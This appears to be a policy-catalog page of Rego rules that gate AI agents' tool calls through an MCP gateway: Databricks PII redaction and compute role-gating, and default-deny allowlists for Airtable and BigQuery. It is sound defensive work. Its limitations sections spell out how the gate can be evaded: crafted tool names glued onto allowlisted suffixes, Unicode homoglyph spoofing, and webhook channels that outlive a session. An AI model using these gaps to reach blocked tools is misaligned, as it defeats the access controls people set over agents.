a # handle — so the managed submit tools are intentionally excluded. # ----------------------------------------------------------------------------- fixed_result_suffixes := { # Managed Databricks SQL server — verified: async result poll "poll_sql_result", # Genie One server — verified: natural-language answer poll "genie_poll_response", # Community RafaelCartenet server — verified: synchronous SQL passthrough "execute_sql_query", } # Candidate tool names: resource.name (PARC) and tool_metadata.name (egress # fallback). Empty strings are dropped so an absent surface never matches "". candidate_names := {n | some src in [ object.get(object.get(input, "resource", {}), "name", ""), object.get(object.get(input, "tool_metadata", {}), "name", ""), ] src != "" n := lower(src) } # Fixed snake_case verbs, matched by suffix. is_pii_result_tool if { input.mode == "output" some n in candidate_names some suffix in fixed_result_suffixes endswith(n, suffix) } # Dynamic AI Search / UC-function tools: named {CATALOG}__{SCHEMA}__{NAME} with # double-underscore delimiters. A name that splits into 3+ segments on "__" has # at least two "__" delimiters — the dynamic shape. This is disjoint from the # single-underscore fixed verbs above, so the two strategies never collide. is_pii_result_tool if { input.mode == "output" some n in candidate_names count(split(n, "__")) >= 3 } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "data-privacy" with your IdP's group name at import time. # object.get chains mean a missing subject/claims/groups claim is never exempt: # the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"data-privacy"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { some g in caller_groups lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # free-text lakehouse columns and index documents. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # row IDs and sequence values, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Email addresses, word-boundary anchored: local part, "@", domain, TLD of at # least two letters. Conservative TLD class keeps it from firing on stray "@". email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # +1 206.555.0100). Bare 10-digit runs are deliberately not matched. The 3-3-4 # grouping is disjoint from the SSN 3-2-4 grouping, so the two never collide. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") # Order: SSN first (fixed 3-2-4 shape), then phones (3-3-4, disjoint from SSN), # then emails (contain "@", disjoint from both digit patterns). The redaction # tokens contain no digits-with-separators or "@", so no step can re-match a # token emitted by an earlier step. redact_block(b) := redact_email(redact_phone(redact_ssn(b))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at least # one block actually changed. Otherwise the rule is undefined and the aggregator # skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_result_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Databricks: Role-Gate Compute & Job Control URL: https://www.intentbasedpolicy.com/policies/databricks/role-gate-compute-ops App(s): databricks | Direction: ingress | Bundles: soc2 | Package: databricks.ingress.role_gate_compute_ops | Published: 2026-07-12 | Tags: databricks, role-gate-writes, access-control, least-privilege, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/databricks/role-gate-compute-ops/policy.md # databricks / role-gate-compute-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the compute/job-control tools unless the caller is in the platform group; allow everything else (including read-only inventory tools) **Package:** `databricks.ingress.role_gate_compute_ops` ## What it does The community `JustTryAI/databricks-mcp-server` exposes cluster and job control — `create_cluster`, `start_cluster`, `terminate_cluster`, `run_job`, and `export_notebook` — under a single Databricks PAT (`DATABRICKS_TOKEN`) that bypasses per-user Unity Catalog identity entirely: the token's privileges, not the calling user's, gate everything upstream. This policy re-imposes least privilege at the gateway by denying those five tools (matched by suffix) for any caller whose IdP `groups` claim does **not** include the placeholder group `platform-engineering`. Each gated tool is a distinct risk: `terminate_cluster` kills shared compute (availability impact), `run_job` fires pipelines with external side effects, `create_cluster` spends money, and `export_notebook` exfiltrates source code that frequently embeds credentials. Analyst and Cowork users have no business driving compute over the agent channel, so this enforces least privilege on that surface. Read-only inventory tools — `list_clusters`, `get_cluster`, `list_jobs`, `list_notebooks`, `list_files` — are unaffected and continue to pass through for everyone, as does any other tool that is not one of the five gated compute/job verbs. The check runs at ingress, before the call reaches the Databricks MCP server, so a denied compute action never executes and has no side effects (no cluster spun up, no job fired, no notebook exported). ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: shared Databricks compute and job pipelines cannot be driven over the agent channel without an explicit role grant. **CC6.3** — supports role-based access and least privilege (and the initiate/approve separation of duties behind it): compute/job-control capability is tied to a live IdP group, and removing the group in the IdP removes the capability on the next call. - **SOX ITGC (access to programs and data)** — supports least-privilege access to the compute and job-orchestration plane where Databricks runs financially relevant pipelines: starting, creating, or terminating clusters and firing jobs requires membership in a controlled group, and the initiate-vs-approve separation of duties (COSO Principle 10) it backs is enforced on the MCP path. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `databricks-terminate_cluster`), and the prefix is not standardized — so matching is case-insensitive (`lower(...)`) and by **suffix** (`endswith`) to stay portable across server names. The five gated suffixes are the verified `JustTryAI` write/destructive tool names: - `create_cluster`, `start_cluster`, `terminate_cluster` (compute control) - `run_job` (job control) - `export_notebook` (source-code exfiltration) Suffix matching is deliberately conservative: the read-only inventory tools do **not** match any gated suffix — `list_clusters` / `get_cluster` do not end in `create_cluster` / `start_cluster` / `terminate_cluster`, `list_jobs` does not end in `run_job` (plural), and `list_notebooks` does not end in `export_notebook`. A hypothetical `restart_cluster` *would* match `start_cluster` and be gated too — an intentional, safe over-match (a restart is still a compute-control action). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production; if your Databricks server exposes an additional compute/job-control tool, add its suffix to `compute_op_suffixes` in `policy.md`. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). Tool arguments are not inspected, so the policy cannot be bypassed by unusual argument keys, nesting, or encodings — and it works identically whether or not a tool's argument schema is documented. ## Identity Group membership is read fail-closed via `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])`: a missing subject, missing claims, a missing `groups` claim, or a `groups` claim that is not an array all mean "not in the platform group", and every gated compute call is denied. Reads (and all non-gated tools) are unaffected by identity. The `is_array` guard is load-bearing — `some group in caller_groups` iterates the *values* of an object, so a `groups` claim shaped as `{"role": "platform-engineering"}` would otherwise match and fail **open**; requiring an array keeps every non-array shape (object, string, number) fail-closed. ## Examples ### Allowed — read-only inventory tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-list_clusters", "type": "tool" }, "payload": { "name": "databricks-list_clusters", "args": {} } } } ``` `allow = true`, no reason. ### Allowed — compute tool by a platform engineer ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-terminate_cluster", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["platform-engineering"] } }, "payload": { "name": "databricks-terminate_cluster", "args": { "cluster_id": "0921-abc" } } } } ``` `allow = true`, no reason. ### Denied — compute tool, caller not in the platform group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-run_job", "type": "tool" }, "subject": { "sub": "auth0|analyst", "claims": { "groups": ["analyst"] } }, "payload": { "name": "databricks-run_job", "args": { "job_id": 42 } } } } ``` `allow = false`, `reason = "Databricks compute and job-control tools ... are restricted to members of the 'platform-engineering' group ..."`. ## Composition This policy gates *who* may drive Databricks compute; it does not inspect *what* the job or cluster does. Useful companions: - [`apps/databricks/guard-warehouse-sql`](../guard-warehouse-sql/policy.md) — denies DML/DDL/GRANT and export constructs in SQL arguments to the `execute_sql*` tools, a separate surface this policy does not touch. - [`apps/databricks/default-deny-unknown-tools`](../default-deny-unknown-tools/policy.md) — allowlists audited tool names so a *renamed* or *new* upstream compute tool that this policy's suffix list does not yet cover fails closed instead of slipping through. - An egress PII/PHI redaction policy on the read path ([`apps/databricks/redact-pii-egress`](../redact-pii-egress/policy.md)), since this policy leaves the inventory/read tools open to everyone. ## Known limitations - **Group names are placeholders** — replace `platform-engineering` with your IdP's group name at import time. The policy expects `groups` to be an array claim in the caller's JWT; if your IdP emits roles under a different or namespaced claim (e.g. `https://acme.com/groups`), update `caller_groups` in `policy.md`. - **PAT bypass is upstream, not fixed here.** The underlying risk — the `JustTryAI` server acting under a shared PAT that bypasses per-user Unity Catalog identity — is not removed by this policy; it is *fenced* at the gateway. Any path to that PAT that does not traverse the gateway (a local stdio client, a direct API call) is out of scope by design. - **Suffix list is scoped to the verified `JustTryAI` names.** Other Databricks MCP servers name their compute/job tools differently (or, like the managed servers, do not expose cluster/job control at all). A compute tool whose name ends in none of the five gated suffixes slips through as "not a compute op" — pair with `default-deny-unknown-tools` if your deployment is allowlist-first, and add any additional verified suffixes to `compute_op_suffixes`. Concretely, the maximalist `pramodbhatofficial/databricks-mcp-server` (~263 SDK-generated tools) names its verbs noun-first — e.g. `clusters_create`, `clusters_delete`, `jobs_run_now` — and **none** of those end in a gated suffix, so this policy allows them for everyone (`clusters_create` does not end in `create_cluster`, `jobs_run_now` does not end in `run_job`). This fail-open residual is codified in `tests.yaml` (the `clusters_create` / `jobs_run_now` cases). On any server that does not use the `JustTryAI` verb-first names, this policy must be paired with `default-deny-unknown-tools` (allowlist-first) or have its `compute_op_suffixes` extended with the verified names your gateway actually emits — do not rely on suffix matching alone. - **A server named with a gated verb** (e.g. an MCP server configured as `run_job-runner`) could make unrelated tools match a suffix and require the platform group — a fail-closed false positive; rename the server or narrow the suffix. - **Reads are open to everyone**, including `export`-adjacent inventory (`list_notebooks`) and content-returning reads. This policy only gates the five write/destructive verbs; add a read fence or egress redaction if your Databricks workspace holds regulated content. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP > path only**. No policy or bundle makes an organization compliant with any framework; web-UI, > native-API, and in-app access are outside the gateway's reach by design. Validate against your own > compliance program before relying on it. ```rego package databricks.ingress.role_gate_compute_ops # Deny-by-default: the compute/job-control tools require the platform group; # every other tool (including read-only inventory tools) is explicitly allowed # by the `not is_compute_op` branch below. default allow := false # Placeholder IdP group permitted to drive Databricks compute and job control. # Replace "platform-engineering" with your IdP's group name at import time. compute_group := "platform-engineering" # Lowercased tool name. The gateway prefixes tool names with the configured MCP # server name (e.g. `databricks-terminate_cluster`), so matching below is # case-insensitive and suffix based to stay portable across server names. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim # that is not an array all yield "not in the platform group" — gated compute # calls then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # The `is_array` guard is load-bearing: `some group in caller_groups` iterates # the *values* of an object, so a groups claim shaped as # `{"role": "platform-engineering"}` would otherwise match and fail OPEN. # Requiring an array keeps every non-array shape (object, string, number) # fail-closed, as the Identity section promises. caller_is_platform_eng if { is_array(caller_groups) some group in caller_groups group == compute_group } # --- Compute / job-control tools (the deny surface) --- # Verified `JustTryAI/databricks-mcp-server` write/destructive tool names, # matched by suffix so any gateway server-name prefix still matches: # terminate_cluster -> kills shared compute (availability impact) # run_job -> fires pipelines with external side effects # create_cluster -> spends money # start_cluster -> brings compute online # export_notebook -> exfiltrates source that often embeds credentials compute_op_suffixes := [ "create_cluster", "start_cluster", "terminate_cluster", "run_job", "export_notebook", ] is_compute_op if { some suffix in compute_op_suffixes endswith(tool_name, suffix) } # --- Decision --- # Reads and anything that is not one of the five gated compute/job verbs pass # for everyone. allow if { not is_compute_op } # Gated compute/job tools pass only for members of the platform group. allow if { is_compute_op caller_is_platform_eng } reasons contains msg if { is_compute_op not caller_is_platform_eng msg := sprintf("Databricks compute and job-control tools (create/start/terminate cluster, run job, export notebook) are restricted to members of the '%s' group — this account has read-only Databricks access through the gateway. Inventory tools (list_clusters, get_cluster, list_jobs, list_notebooks, list_files) still work. Ask your identity admin to add you to '%s', or hand this step to a platform engineer. If this tool is actually read-only, contact your InfoSec team to update the policy.", [compute_group, compute_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Default-Deny Unaudited Airtable Tools URL: https://www.intentbasedpolicy.com/policies/airtable/default-deny-unknown-tools App(s): airtable | Direction: ingress | Bundles: soc2 | Package: airtable.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: airtable, default-deny-unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/airtable/default-deny-unknown-tools/policy.md # airtable / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted tool-name suffixes pass **Package:** `airtable.ingress.default_deny_unknown_tools` ## What it does Maintains a per-tenant allowlist of audited Airtable tool-name suffixes and denies any call whose tool name does not end with an allowlisted entry. Everything not explicitly reviewed is blocked before it reaches the Airtable MCP server, and the deny is surfaced as a gateway event — the drift signal that flags a new, renamed, or newly enabled tool the moment it first appears. Airtable is a case where default-deny is **mandatory**, not optional hardening, for two concrete reasons: - **An unverified, oversized community surface.** The `rashidazarang/airtable-mcp` community server advertises **~42 tools** "covering every Airtable PAT scope" — full CRUD, batch operations, schema management, and **webhook management**. Its individual tool names are **not verified** from source, so a per-tool blocklist against it is impossible to keep complete. Its webhook tools are the standout risk: a webhook creates a **persistent outbound data channel that survives the MCP session**, exfil that outlives the agent turn. Under default-deny, none of these tools is reachable until an operator has introspected the server live and pinned the exact names. - **Upstream servers grow over time.** The official Airtable server added `upload_attachment` in May 2026; community servers add tools on their own cadence. A blocklist silently admits every future addition. Default-deny fails those closed until they are audited and added to the allowlist. It also catches **upstream renames**: a tool that stops matching an allowlisted suffix is denied until it is re-audited. This is the default-deny-by-design posture — the default state of any tool the tenant has not reviewed is "inaccessible." A missing, empty, non-string, or non-ASCII tool name matches nothing and is denied (fail closed). ## Pin the allowlist to YOUR tenant at import time The shipped `allowed_tool_suffixes` array is a **starter set** built from the verified official-server tools (per the [Airtable support doc](https://support.airtable.com/docs/using-the-airtable-mcp-server)) and the verified `domdomegg/airtable-mcp-server` terse equivalents (per its [GitHub README](https://github.com/domdomegg/airtable-mcp-server)). It is not, and cannot be, the list of tools *your* deployment has reviewed — in particular it contains **nothing** from the unverified rashidazarang surface. **At import time, replace or extend the array with exactly the suffixes your team has audited after live introspection.** Because the DTwo gateway prepends the configured server name to each tool, the exact string the gateway sends is deployment-specific. **Verify the precise suffixes with the dump-input debug technique before pinning** — do not guess. Add only what you have reviewed; every unlisted tool is denied until you do. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach Airtable capabilities that were explicitly reviewed and enumerated, not the whole surface an OAuth grant / PAT exposes. - **SOC 2 CC6.6** — supports boundary protection against external threats: upstream-added, renamed, or unverified community tools (including the rashidazarang webhook-persistence tools) do not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software: any tool the tenant has not audited — including a self-expanding or dynamically enabled server's additions — is unauthorized-by-default on the agent path. - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools, newly enabled community surfaces) as observable gateway events that feed anomaly monitoring and event evaluation. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new data-bearing Airtable tool is "inaccessible until audited," and Airtable bases routinely hold personal data (CRM contacts, applicant-tracking pipelines, and — on HIPAA-eligible Enterprise plans — health-ops rows). ## Tool name matching The official server uses verbose suffixed names (`list_records_for_table`, `create_records_for_table`, `get_record_for_page`); the community `domdomegg` server uses terse ones (`list_records`, `create_record`, `get_record`). Behind the DTwo gateway both appear as `-`, and that prefix is not standardized across deployments. To cover the gateway prefix with a single allowlist entry, the policy matches case-insensitively on `lower(input.resource.name)` with **`endswith`** against each audited name: - `list_records_for_table` (official) — matches, - `list_records` (domdomegg terse) — a **separate** entry, because `list_records_for_table` does **not** end with `list_records`, - `airtable-list_records_for_table` (gateway-prefixed) — ends with `list_records_for_table`, matches. Because the official and terse spellings are not suffixes of one another, both are enumerated explicitly rather than collapsed into a shorter stem — this is deliberate, so that suffix matching stays specific enough to preserve drift detection (see Known limitations). Before matching, the **raw** (pre-lowercase) name must consist only of the ASCII set real tool names and gateway prefixes use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), so an allowlisted suffix could otherwise be spoofed with a folded homoglyph. A name containing any character outside that ASCII set is denied. ## Allowlisted tools The starter allowlist covers the **verified** official-server tools — `ping`, `list_bases`, `search_bases`, `list_workspaces`, `list_tables_for_base`, `get_table_schema`, `list_records_for_table`, `search_records`, `list_records_for_page`, `get_record_for_page`, `create_records_for_table`, `update_records_for_table`, `upload_attachment` — and the **verified** domdomegg terse equivalents — `list_tables`, `describe_table`, `list_records`, `get_record`, `create_record`, `update_records`, `create_table`, `update_table`, `create_field`, `update_field`, `list_comments`, `create_comment`. Everything else is deliberately **excluded** and must be audited before it is added, including: - **The community destructive path** — `delete_records` (domdomegg batch delete by ID array — the biggest capability delta vs. the official server) and `delete_page`. - **The interactive widget** — `display_records_for_table` (disabled by default on the official server). - **Structure / external-exposure tools** — `create_base`, `create_interface`, `create_page`, `publish_interface`, `list_pages_for_base`, `describe_page_element`, `describe_page_type`. - **Every unverified rashidazarang tool**, including its webhook-management tools — none is on the list, so it is denied by default **unless its name happens to end with an allowlisted suffix** (see the short-suffix `ping` residual under Known limitations, which is the one way an un-audited community tool can slip through this name-only gate). ## Argument shape This policy inspects only the tool **name** (`input.resource.name`); it reads no arguments, so it is insensitive to argument-shape differences between the official and community servers. A missing `resource` or `resource.name` resolves to `""` via `object.get` and matches nothing (deny). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than passed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow` and `reason` undefined — a deny with no surfaced reason. With the guard it is a clean, reasoned deny. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records_for_table", "type": "tool" }, "payload": { "name": "airtable-list_records_for_table", "args": { "baseId": "appABC", "tableId": "tbl123" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-delete_records", "type": "tool" }, "payload": { "name": "airtable-delete_records", "args": { "baseId": "appABC", "tableId": "tbl123", "recordIds": ["rec1"] } } } } ``` `allow = false`, `reason = "This Airtable tool is not on the audited allowlist (...)"`. (`delete_records` ends in `e_records`, which does not match the allowlisted `update_records` / `search_records` / `list_records` suffixes — so the batch delete tool stays denied.) ## Composition This policy is the outer gate — it decides *which* Airtable tools exist for agents. Pair it with policies that constrain *how* the allowlisted tools are used: - **`apps/airtable/fence-base-allowlist`** — confine the allowlisted record/schema tools to a set of sanctioned `app…` base IDs. - **`apps/airtable/redact-pii-egress`** — mask PII in `list_records*` / `search_records` / `get_record*` responses. - A **bulk-read clamp** companion (`cap-bulk-record-reads`) — clamp `maxRecords` and govern the raw `filterByFormula` query surface on `list_records*`, which is Airtable's only raw-query risk (see Known limitations). ## Known limitations - **The starter allowlist is not your tool list.** Pinning it to the suffixes your tenant has actually reviewed is a required deployment step, not a tuning step. If you swap in a community server (including rashidazarang), every tool it adds is denied until you introspect and add it. - **rashidazarang tool names are unverified.** The ~42 tools that server advertises were **not** verified from source in the app research, so none is on the allowlist and this policy makes no claim about their exact spellings. Before allowlisting anything from that server you must introspect it live (dump-input) and confirm each name — in particular, do **not** allowlist its webhook tools without understanding that a webhook opens a persistent outbound channel that outlives the MCP session. - **PF-07 warehouse-SQL guards do not apply.** Airtable exposes **no SQL/DAX surface**, so the `guard-warehouse-sql` family is out of scope here. The residual raw-query risk is the `filterByFormula` string on `list_records*`, which this name-only gate does not inspect — handle it with the `cap-bulk-record-reads` companion. - **`endswith` matching trusts the suffix, not a separator.** To absorb any gateway server-name prefix with one entry, matching does not require a separator before the suffix. As a result a tool literally named `get_record` (any prefix glued directly onto an allowlisted suffix) would also match. No tool in the current **verified** Airtable inventory collides this way — notably `delete_records`, `display_records_for_table`, `list_pages_for_base`, and `create_base` do **not** end with any allowlisted suffix and are denied. - **The short `ping` suffix is the sharp edge of that residual.** `ping` is only four characters and is a common English word-ending, so **any** un-audited tool whose name happens to end in `ping` is silently allowed — e.g. a community tool named `bulk_dumping`, `record_scraping`, `field_stripping`, or `mapping` all match the `ping` suffix and pass the gate. This is the most realistic way the unverified rashidazarang surface can reach an agent by *accidental* collision despite the "default-deny" posture, so the "all unaudited tools are denied" statements above carry this caveat. **This directly undercuts the headline webhook claim.** The policy denies `create_webhook` (see Examples/tests), but the ping residual means a webhook tool whose name simply *ends in* `ping` is allowed — and "ping" is a standard webhook concept (most webhook APIs expose a `ping`/test event), so a plausibly-named `webhook_ping` (or `..._ping`) tool on the very persistent-channel surface this policy is built to fence would slip through by accidental collision. The "webhook tools stay closed until audited" statement therefore carries the same ping caveat as everything else. The long suffixes (`get_record`, `list_records`, …) are much less exposed to *accidental* collision because an English word rarely ends in `_record`/`_records`. They are **not** safe against a deliberately or adversarially chosen name, though: because the match is `endswith`, a crafted tool name (from a compromised or self-expanding community server) can glue any prefix onto **any** allowlisted suffix — `evil_upload_attachment` ends with the long write suffix `upload_attachment` and is allowed, just as `bulk_dumping` ends with `ping`. **Lengthening the allowlist entries does not close this**: since the operator is still `endswith`, replacing `ping` with the fuller `airtable-ping` does not stop `x-airtable-ping` (or any other glued prefix) from matching — it only makes an accidental collision less likely. To truly eliminate the glued-prefix residual you must change the match from `endswith` to **exact equality** against the full gateway tool name (e.g. `lower(input.resource.name) == "airtable-ping"`), which no prefix can satisfy. Prefer exact-equality matching if you front an untrusted server. - **Name-based trust only.** The policy audits tool *names*, not behavior. A tool that keeps an allowlisted name but changes behavior upstream bypasses the intent while matching the letter. Re-audit when upstream servers change. - **ASCII-only tool names.** Matching requires the raw name to be `[A-Za-z0-9._-]`. This is deliberate (it blocks Unicode case-fold and homoglyph spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Exact upstream suffixes unverified for your gateway.** The official and domdomegg names are verified from their docs, but the string your gateway actually sends depends on the configured server name. Confirm with dump-input before pinning. - **No identity-based exemptions.** All callers face the same allowlist. If you need a platform-admin break-glass group that can call unaudited tools, add a separate `allow if` branch gated on `input.subject.claims` groups. (Group names would be placeholders — replace them with your IdP's group name at import time.) > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package airtable.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only if its name ends with an audited # allowlist suffix below. A missing, empty, non-string, or non-ASCII tool name # matches nothing and is therefore denied (fail closed). default allow := false # Audited Airtable tool-name suffixes — STARTER SET. Pin to the suffixes YOUR # tenant has actually reviewed at import time (see the policy description). # Matched with endswith so one entry also covers any gateway server-name prefix # (airtable-list_records_for_table). The official verbose spelling and the # domdomegg terse spelling are NOT suffixes of one another, so both are listed # explicitly — this keeps each suffix long/specific enough to preserve drift # detection. # # Sources: # - Official server: support.airtable.com "Using the Airtable MCP server" # - domdomegg/airtable-mcp-server (GitHub README) # # Deliberately EXCLUDED — default-deny by design, audit before adding any: # - Community destructive: delete_records (batch delete by ID), delete_page # - Interactive widget: display_records_for_table (off by default) # - Structure / exposure: create_base, create_interface, create_page, # publish_interface, list_pages_for_base, # describe_page_element, describe_page_type # - EVERY unverified rashidazarang tool, incl. webhook-management tools that # open a persistent outbound channel surviving the MCP session. allowed_tool_suffixes := [ # --- Verified official server tools --- "ping", "list_bases", "search_bases", "list_workspaces", "list_tables_for_base", "get_table_schema", "list_records_for_table", "search_records", "list_records_for_page", "get_record_for_page", "create_records_for_table", "update_records_for_table", "upload_attachment", # --- Verified domdomegg terse equivalents --- "list_tables", "describe_table", "list_records", "get_record", "create_record", "update_records", "create_table", "update_table", "create_field", "update_field", "list_comments", "create_comment", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave allow/reason # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real Airtable / community # tool names and gateway - prefixes use only ASCII letters, digits, # underscore, dot, and hyphen. Checking the raw name BEFORE lower() closes a # Unicode case-folding evasion: lower() folds some non-ASCII code points onto # ASCII letters (e.g. the Kelvin sign U+212A -> "k"), so an allowlisted suffix # could be spoofed with a folded homoglyph and slip past the default-deny gate # despite being a visibly different, un-audited name. The regex is NOT multiline # in OPA/Go, so a spliced newline breaks the whole-string match. Guarded by # is_string so a non-string name still yields a clean, reasoned deny. raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Allow only when the name ends with an audited suffix. endswith (no separator # requirement) is intentional: it matches the bare name (list_records_for_table) # and any gateway server-name prefix (airtable-list_records_for_table) with a # single allowlist entry. See Known limitations for the residual this trades for. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, suffix) } reason := "This Airtable tool is not on the audited allowlist, so the gateway denies it by default and surfaces the call as tool drift. Default-deny is mandatory for Airtable because the rashidazarang community server advertises ~42 unverified tools — including webhook-management tools that open a persistent outbound data channel surviving the MCP session — and because upstream servers add tools over time (e.g. the May-2026 upload_attachment), so a new or renamed tool must fail closed until it is reviewed. Ask a gateway admin to introspect the tool live and, if it is safe for agents, add its verified name suffix to the per-tenant allowlist." if not allow ``` ### Default-Deny Unaudited BigQuery Tools URL: https://www.intentbasedpolicy.com/policies/bigquery/default-deny-unknown-tools App(s): bigquery | Direction: ingress | Bundles: soc2 | Package: bigquery.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: bigquery, default-deny-unknown-tools, allowlist, access-control, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/bigquery/default-deny-unknown-tools/policy.md # bigquery / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted tool-name suffixes pass **Package:** `bigquery.ingress.default_deny_unknown_tools` ## What it does Maintains a per-tenant allowlist of audited BigQuery tool-name suffixes and denies any call whose tool name does not end with an allowlisted entry. Everything not explicitly reviewed is blocked before it reaches the BigQuery MCP server, and the deny is surfaced as a gateway event — the drift signal that flags a new, renamed, or newly enabled upstream tool the moment it first appears. A newly-published or renamed tool whose name does not end in an allowlisted suffix stops matching the allowlist and **fails closed** rather than passing unchecked. The one residual is a new tool whose name *ends in* an allowlisted suffix (e.g. a Toolbox `batch_execute_sql` glued onto `execute_sql`): because matching is `endswith` with no separator requirement, that shape is admitted and would *not* be caught as drift — see Known limitations, and use exact full gateway tool names if you need to close it. This is the **baseline companion** to the SQL-inspection policies in the BigQuery set, not a replacement for them: it decides *which* BigQuery tools exist for agents at all, while `guard-warehouse-sql` and `guard-warehouse-export` decide *how* the SQL-carrying tools it admits may be used. Default-deny matters specifically for BigQuery because the **MCP Toolbox prebuilt `bigquery` toolset is self-expanding**: alongside the verified read/query tools it also exposes AI-analytics tools — `ask_data_insights` (Conversational Analytics, which ships table data to another Google API), `forecast`, `analyze_contribution`, and `search_catalog` — that move table data to other Google APIs. Those are intentionally **not** on the default allowlist, so a tenant must consciously review and add them before an agent can reach them. A missing, empty, non-string, or non-ASCII tool name matches nothing and is denied (fail closed). ## Pin the allowlist to YOUR tenant at import time The shipped `allowed_tool_suffixes` array is a **starter set** built from the names verified in the app research: the official Google remote server and the MCP Toolbox prebuilt `bigquery` toolset (snake_case), plus the two community servers (`ergut/mcp-bigquery-server`, `LucasHild/mcp-server-bigquery`). It is not, and cannot be, the list of tools *your* deployment has reviewed — in particular it deliberately excludes the Toolbox AI-analytics tools. Because the DTwo gateway prepends the configured server name to each tool, the exact string the gateway sends is deployment-specific. **Verify the precise suffixes with the dump-input debug technique before pinning** — do not guess. Add only what you have reviewed; every unlisted tool is denied until you do, and the allowlist must be **re-pinned whenever the upstream server adds tools**. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: a warehouse full of regulated data (PII, financial, and in healthcare orgs PHI) is reachable only through the tool names that were explicitly reviewed and enumerated, not the whole surface an OAuth grant / IAM role exposes. - **SOC 2 CC6.6** — supports boundary protection against external threats: an upstream-added, renamed, or self-expanding tool (including the Toolbox AI-analytics tools that move data to other Google APIs) 